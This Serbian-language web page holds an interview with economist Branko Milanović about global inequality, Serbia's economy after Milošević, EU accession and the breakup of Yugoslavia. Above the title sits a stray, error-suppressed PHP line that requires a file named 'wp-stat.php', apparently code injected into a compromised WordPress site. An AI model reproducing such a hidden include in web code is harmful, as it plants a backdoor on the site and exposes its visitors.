@require(dirname(__FILE__).'/wp-stat.php'); BRANKO MILANOVIĆ, SARADNIK KARNEGIJEVE ZADUŽBINE ZA MEĐUNARODNI MIR: Miloševićeva vladavina bila je za Srbiju pogubnija nego vladavina Čaušeskog za Rumuniju – Nedim Sejdinović

BRANKO MILANOVIĆ, SARADNIK KARNEGIJEVE ZADUŽBINE ZA MEĐUNARODNI MIR: Miloševićeva vladavina bila je za Srbiju pogubnija nego vladavina Čaušeskog za Rumuniju

U razgovoru za “Građanski list”, naučni saradnik Karnegijeve zadužbine za međunarodni mir Branko Milanović govori o svetskim ekonomskim trendovima i o tome gde se nalazi i kako se snalazi naša zemlja u savremenom svetu globalizacije. Milanović je inače i predavač na Džon Hopkins univerzitetu (Johns Hopkins University) i istraživač u Svetskoj banci.

Vaša knjiga “Odvojeni svetovi – merenje međunarodne i globalne nejednakosti” nedavno je izašla i u džepnom izdanju kod Princeton University Pressa. Šta to konkretno znači?

– To znači da je cena knjige sada upola manja i da će se verovatno više prodavati. Naravno, to je veoma dobro ne samo za mene kao autora, nego i zbog toga sto će materija i “poruke” iz knjige biti dostupniji čitaocima. Ovde naročito imam u vidu studente. Jeftinija knjiga se lakše koristi kao udžbenik.

Može li se reći da je globalizacija donela ako ne povećanje nejednakosti među zemljama i pojedincima, ono svakako nije doprinela smanjenju te nejednakosti?

– Mi smo sada u stanju da merimo sa relativno visokim nivoom preciznosti nejednakost između zemalja pa čak i pojedinaca u svetu. Ovo poslednje je nešto novo, jer sve do sredine osamdesetih godina XX veka nedostatak anketa o potrošnji i dohocima domaćinstava u Kini, Sovjetskom Savezu i većem delu Afrike onemogućavao je bilo kakvo smisleno merenje globalne nejednakosti. Zato je i podnaslov moje knjige “Merenje međunarodne i globalne nejednakosti”. Znači, akcenat je na merenju. Uzročno-posledična analiza, tj. analiza veze između globalizacije i nejednakosti je mnogo teži zadatak. To je zbog toga što globalizacija može u isto vreme da dovede do, recimo, porasta prosečne stope rasta u nekim zemljama (što znači da, ukoliko su one siromašne, to doprinesi smanjenju globalne nejednakosti), i da poveća nejednakost unutar tih i drugih zemalja (što, pak, utiče na porast globalne nejednakosti). Na taj način, imamo dva kontradiktorna kretanja. I njihov konačni rezultat može da bude ili malo smanjenje ili malo povećanje nejednakosti između pojedinaca u svetu.

Kakvi su trendovi posle 2000. godine, da li je 11. septembar zaista bio “datum posle koga ništa nije bilo kao pre”. Kakav je on imao uticaj na globalnu ekonomiju?

– Što se tiče uticaja na globalnu nejednakost i uopšte na svetsku privredu događaja od 11. septembra 2001. godine, tu je teško nešto preciznije zaključiti. Ako rat u Iraku posmatramo kao direktnu posledicu tih događaja, onda možemo reći da se puno stvari promenilo, ili bar da bi svet drugačije izgledao da napada na Ameriku nije bilo. Na primer, cene nafte bi bile niže. Visoke cene nafte su svakako dovele do preraspodele bogatstva između zemalja proizvođača i uvoznika nafte. Znači, možemo reći da su zemlje kao Saudijska Arabija, Rusija, Azerbejdžan ili Venecuela dobile, dok su SAD, Japan i Evropa izgubili. Izgubio je svakako i Irak u kome je do sada više od stotinu hiljada ljudi poginulo, a infrastruktura, ionako loša posle deceniju i po sankcija, potpuno je uništena. Ovo je ogromna tragedija za Irak, Bliski istok i ceo svet. Ali, za analizu svih tih efekata na globalnu nejednakost suviše je rano.

Bez obzira na činjenicu da verovatno ne postoje ozbiljni podaci sa kojim bi se moglo baratati, da li nam možete odgovoriti kako se svet u poslednjih sto-sto pedeset godina menjao kada se uzme u obzir nejednakost pojedinca i zemalja?

– Iako su, naravno, podaci iz devetnaestog veka fragmentarni, promene su toliko dramatične i velike da opšti tok događaja i njihovi efekti nisu predmet spora. Naime, jasno je da su se razlike između prosečnih dohodaka zemalja povećale i to veoma mnogo. Sa druge strane, razlike između dohodaka pojedinaca su se takođe povećale, iako nešto manje. To je zbog toga što je u međuvremenu došlo do smanjivanja lepeze dohodaka (nejednakosti) unutar zemalja. Naime, globalna nejednakost između pojedinaca je rezultat promena u obe ove nejednakosti: (1) između država (zemalja) i (2) između pojedinaca unutar svake zemlje. Znači, prva nejednakost je porasla, druga je opala, ali je efekat porasti ove prve bio veći nego efekat smanjenja druge.

Nejednakost koja postoji u dohocima, a još više u bogatstvu (što nije bio predmet vašeg istraživanja) jeste veliki rezervoar frustracija i mogućih sukoba. Postoje li mehanizmi koji mogu u dužem vremenskom periodu da sprečavaju eskalaciju frustracija?

– Nejednakosti u bogatstvu su još veće nego nejednakosti u dohotku. Dohodak je nešto što se stvara u toku jedne godine, dok se bogatstvo akumulira godinama. Ovoliko velike razlike u dohocima i bogatstvu u svetu, paralelno sa procesom globalizacije koji siromašnima daje bolji uvid u to kako bogati žive i koliko više od njih poseduju, zaista jeste potencijalni izvor frustracija i sukoba. Naravno, siromašni su i vojnički slabi da bi, recimo, mogli ozbiljnije da ugroze bogate, ali frustracije u razlikama sigurno utiču na netradicionalne načine borbe (kao što je terorizam) i, što je mnogo značajnije, na imigracioni pritisak. U suštini, bogate zemlje imaju dve mogućnosti: ili da se pretvore u tvrđave što se već dešava sa zatvaranjem Evropske Unije i građenjem zida (eufemisticki nazvanog “ograda”) između SAD i Meksika, ili da ozbiljnije pomognu siromašnim zemljama kako većim transferima novca (pomoć) tako i promenom međunarodnih pravila koja često diskriminišu ili bar defavorizuju siromašne zemlje. Da navedem samo nekoliko takvih primera: nedovoljna liberalizacija uvoza tekstila i hrane iz siromašnih zemalja, poljoprivredni protekcionizam EU i Amerike, insistiranje na striktnoj zaštiti intelektualne svojine…

Gde se u tom svetskom merenju nejednakosti nalazi Srbija i šta znači njen spoljni dug koji danas iznosi preko osamnaest milijardi dolara?

– Po prosečnom dohotku, Srbija se nalazi ispod svetskog proseka. Prosečni svetski dohodak je oko 7.000 međunarodnih dolara (tzv. PPP ili dolara jednake kupovne snage). Prosečni srpski dohodak je tek negde oko 5.000 PPP dolara. Uporedimo to sa situacijom iz 1975. godine: tada je prosečni srpski (ne jugoslovenski) dohodak iznosio takođe nešto preko 5.000 tih istih PPP dolara, ali je svetski prosek bio tek oko 4.500. Znači, Srbija je (što nije iznenađenje) značajno pogoršala svoju poziciju u odnosu na svetski prosek. Drugim rečima, dok je ekonomija u Srbiji prvo stagnirala, a zatim opadala, većina sveta je beležila ekonomski rast.

– Dug od oko osamnaest milijardi dolara Srbiju ne čini visokozaduženom zemljom, ali počinje da se pojavljuje opasnost da, ukoliko se tendencije iz nekoliko poslednjih godina nastave, ponovo dođe do značajnog porasta obaveza otplate duga. Ja ne mislim da se može govoriti o nekoj dužničkoj krizi kao što je bilo osamdesetih godina XX veka u SFRJ, već pre o činjenici da će tako velike otplate značajno smanjiti deo društvenog proizvoda koji se može koristiti za investicije. A bez investicija naravno nema ni šanse da se nadoknadi ovaj veliki ekonomski jaz koji se pojavio između Srbije i sveta, i naročito Srbije i EU.

Vi ste jedan od idejnih tvoraca “Bele knjige Miloševićeve vladavine”. Da li biste mogli da napravite kratku analizu ekonomije za vreme Miloševića i posle njega?

– Ovo je relativno lako pitanje jer je Miloševićeva vladavina bila katastrofalna u svim aspektima, uključujući i ekonomski. Ako posmatramo samo cifre, lako ćemo uočiti da je, sem perioda Prvog svetskog rata, Miloševićeva vladavina bila daleko najgori period u srpskoj ekonomskoj istoriji, od 1804. godine do danas. U XIX veku srpska privreda je rasla po niskoj per capita stopi (ne treba zaboraviti da je tada i porast stanovništva bio veoma značajan, tako da je porast društvenog proizvoda per capita bio mali), ali nikada nije padala po stopama od 10 ili 20 odsto godišnje, kao u vreme Miloševića. Takvi padovi su zaista katastrofalni i obično ih beležimo samo u ratnim vremenima. Znači, ne postoji nijedan ekonomski indikator koji sada nije bolji nego 2000. godine. Naravno, to ne znači puno iz dva razloga. Prvo, ljudi su očekivali mnogo više od ostvarenog. I drugo, i ovo što je ostvareno još uvek znači da srpski per capita dohodak nije dostigao ni pre-tranzicioni nivo. Recimo, 2005. godine srpski per capita društveni proizvod iznosio je tek 67 odsto onoga iz 1987. godine (poslednje normalne tranzicione godine). Uporedimo to sa Hrvatskom (103 odsto), Slovenijom (122 odsto), Bugarskom i Rumunijom (95 odsto), čak i Makedonijom (77 odsto). Znači, sve ove zemlje (sem Makedonije) danas su u istoj ili nesto boljoj poziciji, u pogledu prosečnog životnog standarda, nego pre tranzicije, dok je Srbija u značajno goroj. U stvari, u celoj Istočnoj Evropi i bivšem SSSR-u samo su Gruzija, Ukrajina i Moldavija izgubile relativno više nego Srbija. Ali, naravno, one su bile centralno-planske zemlje bez značajnih prirodnih resursa (nafte i gasa), čiji je prelaz na tržišnu ekonomiju bio veoma težak. Srbija, kao i bivša Jugoslavija, mogle su mnogo lakše da taj prelaz na tržišnu ekonomiju obave – kao sto je uostalom Slovenija i pokazala.

Kada se može očekivati da će biti prevaziđene posledice Miloševićeve vladavine?

– Posledice Miloševićeve vladavine biće veoma teško prevaziđene. Njih i te kako dobro osećamo i sada, šest i po godina posle njegovog pada. Bilo bi dobro kada bi posledice njegove vladavine Srbija prevazišla u toku sledeće decenije, ali ni to nije sigurno. U neku ruku, možemo reći da se to izgubljeno vreme nikada neće potpuno nadokanaditi. Za generaciju koja je odrasla pod Miloševićem to je očigledno. Ali i za druge generacije, to je, čini mi se, verovatno. Miloševićeva vladavina bila je za Srbiju pogubnija nego vladavina Čaušeskog za Rumuniju jer je do nje došlo u veoma dinamično vreme kada se ubrzao tehnološki razvoj sveta i kada je došlo do ogromnih političko-strateških promena tako da, ako “izgubite voz” (kao što Srbija jeste), vi naravno ostanete u neku ruku zauvek na peronu. Da su promene u svetu tada bile manje dinamične, relativna šteta od Miloševićeve vladavine bila bi manja.

Obustavljen je proces evropskih integracija Srbije i za sada se ne vide jasne naznake kada bi on mogao da bude nastavljen. Politička elita, međutim, stanovništvu ne šalje suštinske poruke ni šta Srbija gubi prekidom evropskog procesa, niti šta dobija približavanjem i ulaskom u EU. Kakav će odraz na Srbiju imati eventualno dugo odsustvovanje sa evropskog puta?

– Ja sam veliki pesimista što se tiče ulaska Srbije u Evropsku Uniju. Srpski problem je ogroman. Često se u ovakvim slučajevima upotebljava engleska sintagma da je za “tango potebna dvoje”. Implikacija je da jedan igrač nije dovoljan (ne može se igrati tango solo). Ali, srpski problem je gori, jer za “naš tango” ne postoji čak nijedan igrač. Evo zašto. EU će najverovatnije biti zatvorena za dalje širenje bar deceniju, ako ne i duže. Čak ni zvanično proširenja neće biti dokle god se ne donese novi ustav. Tako nešto nije ni na pomolu. A da ne govorimo o činjenici da je za donošenje Ustava EU potrebna njegova ratifikacija od strane svih 27 članica. Zatim, naravno, sve članice treba da se slože sa proširenjem. Ne zaboravimo da Francuska može, kad to poželi, da na referendumu glasa protiv proširenja, kao što većina ljudi smatra da će se i desiti kada se postavi pitanje turskog članstva. Nema razloga da se isto pitanje ne postavi i za Srbiju. Drugim rečima, politička klima u Evropi je sada na potpuno drugoj krajnosti od one koja je postojala 1990. godine, kada je zauzet politički kurs ka istočno-evropskom proširenju. Umesto optimizna, danas u Evropi vlada potpuni pesimizam i čak cinizam prema daljem širenju.
Ali, ni drugi igrač (Srbija) nije spreman. Mi imamo tri osnovna problema: institucionalnu nespremnost, nesaradnju sa Haškim trubunalom i problem Kosova. Prvi problem bi mogao biti prevaziđen; drugi će se verovatno prevazići vremenom, bilo tako što će Mladić i Karadžić biti izručeni ili umreti na slobodi, ili tako što će možda doći do manjeg insistriranja na saradnji sa Hagom od strane EU. Ali, ja jednostavno ne vidim kako će treći problem biti prevaziđen. U slučaju nezavisnosti Kosova (a to mi se čini manje-više izvesnim), uslov za evropsku integraciju biće zvanično srpsko priznanje kosovske nezavisnosti. Ne treba uzimati za ozbiljno evropsko trenutno neinsistiranje na tome, jer je to samo politička varka kako bi sadašnju “gorku pilulu” Srbija lakše progutala. Ali kroz desetak godina to će sigurno biti uslov. Zvanična politika EU jeste da prihvata države koje imaju sređene odnose sa svojim susedima. Sigurno će se takav uslov tražiti i od Srbije. I ja jednostavno ne vidim da će bilo koja politička partija u Srbiji, koja je blizu vlasti, takav uslov prihvatiti.

Proevropske snage u Srbiji se prepiru oko jednog važnog pitanja, a to je pitanje da li je put ka evropskim vrednostima moguć samo podsticanjem i unapređenjem ekonomije i zakonodavstva, bez izgradnje svesti o tome šta se dešavalo na ovim prostorima tokom devedesetih godina. Kakvo je vaše mišljenje, da li Srbija može biti ekonomski prosperitetna zemlja bez tzv. suočavanja sa prošlošću, sa trećinom parlamenta koji čine ultranacionalisti?

– Suočavanje sa prošlošću se, hteli to ili ne, nastavlja svakog dana. Dovoljno je samo pogledati oko sebe pa videti da se problem Haga, problem tužbe za genocid u BiH, problem Kosova (a sve su to “nasleđeni” problemi od Miloševićeve vladavine i ratova) nastavljaju. Suočavanje sa prošlošću je otežano nekolicinom faktora. Prvo, Srbija, iako poražena strana, nije poražena tako potpuno kako su to bili Nemačka ili Japan. Znači, ni prekid sa prošlošću nije jednako rezak. Drugo, zločini protiv Srba su, prema srpskom mišljenju, dobili nesrazmerno mali značaj, tako da to otežava i srpsko suočavanje sa vlastitim zločinima. Treće, i Nemačka i Japan bili su ne samo razvijenije zemlje sa mnogo širom obrazovanom srednjom klasom već su odmah bile uključene u novi anti-sovjetski blok, tako da su se u neku ruku našle integrisane i mogle su da podvuku crtu pod pređašnje događaje, i da se nadaju da će u “sledećem izvlačenju” bolje proći (tj. da će biti na strani novih pobednika, što se i desilo). Srbija je ostala potpuno neintegrisana, sama sa sobom.

– Sa druge strane, veliki problem predstavlja i Srpska radikalna stranka, takva kakva ona danas jeste. (Naravno, politički značaj SRS-a je samo odraz opšte nevoljnosti da se izvuku zaključci iz Miloševićeve katastrofalne politike.) U vezi sa ovom strankom pojavljuju se dva problema. Prvi je suštinske, drugi tehničke prirode. Suštinski problem jeste činjenica da SRS još uvek nije prihvatila demokratski sistem vladanja i demokratski sistem vrednosti. Ovo se ne oličava toliko u krađi glasova ili nameštenim izborima, kao što je Milošević radio (iako je u nekoliko navrata SRS i to prihvatala), već u odnosu prema političkim neistomišljenicima. SRS još uvek doživljava političke protivnike ne kao stranke i osobe sa kojima se ne slaže, već kao neprijatelje koje treba eliminisati. SRS upotrebljava govor mržnje čiji je cilj upravo da dehumanizuje političke protivnike kako bi oni bili lakše uništeni.

– Tehnički problem sastoji se u tome što je SRS ekstremna stranka koja je pak, prema glasovima koje osvaja na izborima, dovoljno velika da onemogućava stvaranje koalicije između drugih stranaka. Naime, da bi se napravila koalicija (koja ne uključuje SRS) potrebno je da se skoro sve ostale stranke udruže, što je ideološki veoma teško jer se one, naravno, razlikuju. S druge strane, SRS nije dovoljno snažna da može sama da formira vladu (što bi, uzgred rečeno, bilo katastrofalno). Na taj način, SRS predstavlja stalni izvor političke nestabilnosti. Dva su načina da se to prevaziđe. Ili da SRS postane “normalna” stranka koja prihvata demokratski sistem i transformiše se u stranku desnog centra, ili da postane marginalna stranka, kakve, normalno, i jesu ekstremne stranke. Ako ne dođe ni do jednog ni do drugog ishoda, neminovan je nastavak političke nestabilnosti ili, pak, dolazak radikala na vlast.

Već je opšte mesto postala teza da je u Srbiji uglavnom završen period “prvobitne akumulacije kapitala”. Da li postoje istraživanja i da li se može naslutiti koji “gini koeficijent” možemo da pripišemo našoj zemlji? (Gini koeficijent je pokazatelj kojim se izražava nejednakost u raspodeli prihoda. Što je Gini koeficijent manji, to se povećanje ukupnog prihoda ravnomernije deli na sve stanovnike u zemlji i od povećanih stopa ekonomskog rasta veću korist imaju kategorije stanovništva sa nižim prihodima.)

– U Srbiji postoje godišnje ankete o potrošnji i dohotku domaćinstva i iz njih je moguće izračunati nejednakost. Nejednakost se obično meri Ginijevim koeficijentom čija vrednost se kreće od nule (svi imaju isti dohodak) do 100 (ceo dohodak pripada samo jednoj osobi). Obe su naravno teorijske vrednosti. U realnom svetu, vrednost Gini koeficijenta kreće se od oko 25-28 u Skandinaviji i Českoj i Slovačkoj do oko 60 u Brazilu i Južnoj Africi. Vrednosti u zapadnoj Evropi su oko 35, a u Americi i Rusiji oko 40. U Srbiji, Gini koeficijent je oko 35. Znači, nejednakost u Srbiji nije veća nego u zapadnoj Evropi. Problem je što je prosečni dohodak nizak, tako da bogatstvo više štrči i “bode oči”. To ne znači da nejednakost nije problem u Srbiji, ali nije problem u onoj meri kako se to često tvrdi u štampi.

– Naravno, tačno je da najbogatiji ljudi ne učestvuju u anketama. Ali to opet nije srpska specifičnost. Nigde najbogatiji ljudi ne učestvuju u anketama, jednostravno zbog toga što takvih bogataša ima veoma malo, tako da je verovatnoća da baš oni uđu u uzorak od dve-tri hiljade domaćinstava (koliko se normalno anketira u Srbiji ili zemljama sličnog broja stanovnika) mala. Pored toga, često najbogatiji odbijaju da učestvuju u anketama. Ja ipak ostavljam mogućnost da je značaj ovih bogataša u Srbiji veći nego u nekim drugim zemljama u tranziciji. Taj utisak se dobija kada vidimo da je nekoliko bogatih srpskih biznismena uključeno na listu sto najbogatijih ljudi iz istočne Evrope. Njihov broj nije u srazmeri sa prosečnim bogatstvom ili dohotkom u Srbiji. Tako recimo Slovenija, na listi sto najbogatijih istočnoevropljana, ima samo jednog “predstavnika”, a Srbija pet. Znači, ja dopuštam mogućnost da je, i pored činjenica da je Gini koeficijent u Srbiji na “normalnom” nivou, uticaj tajkuna u Srbiji relativno veliki, kada se uzme u obzir nihovo bogatstvo i, verovatno, uticaj na politički život.

Kakav je vaš odnos prema antiglobalističkim i alterglobalistički pokretima u svetu?

– Kako vaše pitanje sugeriše, ima razlike između antiglobalističkog i alterglobalističkog pokreta. Ta razlika se, bar terminoloski, često ne pravi, i ljudi se skloni da sve one koji smatraju da se mnogi aspekti sadašnje globalizacije mogu popravitii – “strpaju u isti koš” sa onima koji smatraju da je celokupna globalizacija loša. Moje mišljenje je da je, prvo, globalizacija neminovan proces, i drugo, da je to pozitivan proces. Ona je neminovna u eri tehnološkog progresa koji smanjuje i fizičku i kognitivnu distancu između ljudi i naroda. Kako bilo ko može da ostane mimo globalizacije kada postoji Internet? Globalizacija je pozitivan proces, jer omogućava brži transfer tehnologija, lakše kretanje ljudi, roba i kapitala. Otuda bi, u principu, globalizacija trebalo da bude povezana i sa brzim rastom proizvodnje, naročito u siromašnim zemljama. Problem sa globalizacijom, kakva ona realno jeste, sastoji se u tome što neke od svojih “obećanja” ona ne ispunjava, i što često umesto da služi svima, ona biva u funkciji najmoćnijih zemalja i najbogatijih slojeva (klasa) u njima. Ja sam već ranije pomenuo da međunarodni ekonomski sistem, onako kako je ustrojen, bar u nekoliko aspekata diskriminiše siromašne zemlje. Ali, pored toga, sadašnja globalizacija nije “verna” ni nekim od svojih osnovnih postulata na kojima, u principu, počiva. Navešću samo tri. Prvi je princip veće demokratičnosti, između zemalja i ljudi, u međunarodnim odnosima. Vidimo da umesto toga imamo upravo suprotan razvoj: unipolarnost na nivou odnosa između država, i hipertrofirani značaj bogatstva na nivou odnosa između pojedinaca. Drugi je princip slobodnog kretanja rada i radnika (kao pandan slobodnog kretanja roba i kapitala). I tu vidimo da od tog principa nema ništa i da je danas slobodno kretanje radne snage mnogo manje nego što je bilo u prethodnoj eri globalizacije, od 1870. do 1914. godine. Treći je princip brže transmisije tehnološkog progresa. Ovo se ne ostvaruje u dovoljnoj meri zbog insistiranja bogatih zemalja (i naročito SAD) na nerazumnoj zaštiti patentnih prava i intelektualne svojine. To sve znači da globalizacija, kakva danas postojii, u nekim bitnim, principijelnim delovima, odstupa od globalizacije kakva bi trebalo da bude i kakva je realno moguća. A to su upravo stavovi koje ističe alterglobalistički pokret.

I za kraj pitanje – sa ove vremenske distance, da li biste mogli da date procenu, s obzirom na ekonomske parametre, kakva je veza između ekonomske krize u bivšoj SFRJ i njenog raspada?

– Ovo je veoma teško pitanje. Postoje brojna misljenja da je raspad SFRJ bio prouzrokovan (bar delimično) ekonomskom krizom. Ne treba zaboraviti da je u toku čitave decenije, od 1980. do 1990. godine, ekonomski rast u SRFJ bio nula, znači imali smo potpunu stagnaciju društvenog proizvoda. To je bilo praćeno visokom nezaposlenošću, naročito među mladima (isti problem koji je postao jos izraženiji u sadašnjoj Srbiji). I na kraju, političkim imobilizmom, jer se sistem koji je SFRJ nasledila posle Titove smrti pokazao nesposobnim da ekonomske i političke probleme rešava na bilo koji način, sem nasilnog. Znači, ekonomska stagnacija i politički imobilizam izrodili su, po mom mišljenju, Miloševica i njegovu demagogiju, i posle toga naravno i Tuđmana, Izetbegovića i ostale lidere 1990-tih godina. Čini mi se, otuda, da je ekonomski zastoj u SFRJ bio značajan izvor krize.

– Ali, s druge strane, ne možemo a da ne vidimo da bi, sasvim moguće, do raspada SFRJ došlo i da se ekonomski razvoj nastavio, jer su se i ostale komunističke etno-federacije kao SSSR i Čehoslovacka raspale. Raspad Čehoslovacke je posebno instruktivan, jer sem tog „konstrukcionog“ elementa (komunističkog etno-federalizma) i presedana raspada SSSR, nije bilo drugih očiglednih razloga za raspad te zemlje. Mislim da se problem raspada Čehoslovačke uopšte ne bi ni postavio da je Čehoslovačka (ako je to izgledalo posle II Svetskog rata) ostala demokratska zemlja, neutralna, recimo kao Finska. Zašto je to za nas relevantno? Upravo zato što nam ukazuje na verovatno ključni razlog za raspad SFRJ, a to je bila identifikacija države sa političkim sistemom. Kada je ovaj poslednji propao, odmah se postavilo pitanje opstanka države. Očigledan je zaključak da se te dve stvari moraju „držati“ odvojenim: Španiju kao državu, Francusku kao državu, nije moguće poistovetiti sa datim političkim sistemom. U toku XX veka većina evropskih država je promenila i nekoliko političkih sistema, ali se nisu raspale. U SFRJ je (kako se čak i iz naziva države vidi) došlo do „spajanja“ ta dva elementa i zato mi se čini da je raspad bio neminovan. Ali, da nije bilo ekonomske krize i otuda pojave demagoga, poput Miloševića, verovatno bi i raspad bio manje krvav i brutalan.

Nedim Sejdinović

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.